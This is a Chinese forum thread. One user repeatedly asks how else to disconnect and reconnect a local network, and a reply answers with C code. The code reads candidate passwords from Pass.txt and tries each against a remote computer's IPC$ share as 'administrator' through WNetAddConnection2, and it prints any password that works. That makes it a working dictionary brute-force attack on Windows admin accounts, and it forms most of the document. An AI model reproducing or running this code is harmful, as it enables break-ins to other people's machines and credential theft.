有什么别的办法断开和重连局域网

解决方案 »

  1.   

    再顶~~~~~~~~~~~~~~~~!  急~~~~~~~~~~~~~~~~~~~阿
    有什么别的办法断开和重连局域网
      

  2.   

    再再再顶~~~~~~~~~~~~~~~~!  急~~~~~~~~~~~~~~~~~~~阿
    有什么别的办法断开和重连局域网
      

  3.   

    #include<stdio.h>
    #include<windows.h>
    #include<lm.h>
    #include<assert.h>#pragma comment(lib,"Netapi32.lib")
    #pragma comment(lib,"mpr.lib")#define USER_NAME "\\\\aaaa"   //计算机名称
    #define LOG_NAME "administrator"
    void ShowErrorMsg()
    {
    LPVOID Msg;
    FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
    FORMAT_MESSAGE_FROM_SYSTEM |
    FORMAT_MESSAGE_IGNORE_INSERTS,
    NULL,
    GetLastError(),
    0,
    (LPTSTR)&Msg,
    NULL,
    NULL);
    printf("error: %s\n",(LPCTSTR)Msg);
    }void main()
    {
    FILE *fp;
    NETRESOURCE netr;
    BOOL passed=FALSE;
    char netbuf[MAX_PATH]={0};
    char pass1[MAX_PATH]={0};
    char pass2[MAX_PATH]={0};
    /*
    memset(&netr,0,sizeof(netr));
    sprintf(netbuf,"%s\\ipc$",USER_NAME);
    netr.dwScope = RESOURCE_GLOBALNET;
    netr.dwType = RESOURCETYPE_ANY;
    netr.lpLocalName = "";
    netr.lpRemoteName = netbuf;
    netr.lpProvider = NULL;
    */
    if((fp = fopen("Pass.txt","r")) == NULL)
    {
    printf("open pass.txt failed\n");
    return;
    } while(!feof(fp))
    {
    memset(&netr,0,sizeof(netr));
    sprintf(netbuf,"%s\\ipc$",USER_NAME);
    netr.dwScope = RESOURCE_GLOBALNET;
    netr.dwType = RESOURCETYPE_ANY;
    netr.lpLocalName = "";
    netr.lpRemoteName = netbuf;
    netr.lpProvider = NULL;
    fgets(pass1,sizeof(pass1),fp); //从文件中读取密码
    strncpy(pass2,pass1,strlen(pass1)-1);
    printf("using:\t%s\n",pass2);
    if(WNetAddConnection2(&netr,(LPCTSTR)pass2,(LPCTSTR)LOG_NAME,NULL) == NO_ERROR)
    {
    printf("NT PASS:\t%s\t!!!!!!\n",pass2);
    passed = TRUE;
    fclose(fp);
    break;
    return;
    }
    memset(pass1,0,sizeof(pass1));
    memset(pass2,0,sizeof(pass2));
    }

    printf("Enum password complete!\n");
    if(passed)
    {
    sprintf(netbuf,"%s",USER_NAME);
    if(WNetCancelConnection2(netbuf,CONNECT_UPDATE_PROFILE,TRUE) == NO_ERROR) //短开连接
    printf("cancel null connection successfully\n");
    else
    printf("cancel null connection failed\n");
    }

    }